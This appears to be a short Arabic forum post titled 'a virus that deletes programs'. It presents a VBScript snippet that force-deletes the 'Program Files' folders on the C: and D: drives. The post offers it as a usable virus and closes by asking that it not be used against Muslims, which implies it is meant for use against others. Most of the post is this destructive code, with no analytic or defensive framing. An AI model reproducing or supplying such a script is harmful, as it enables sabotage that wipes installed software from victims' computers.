فيروس يقوم بحذف البرامج

السلام عليكم ورحمة الله وبركاته 

هذا الفيرس يقوم بحذف البرامج الموجود على الجهاز 

الكود 

dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF

فى رعايه الله لكن دون الاستخدام ضد المسلمين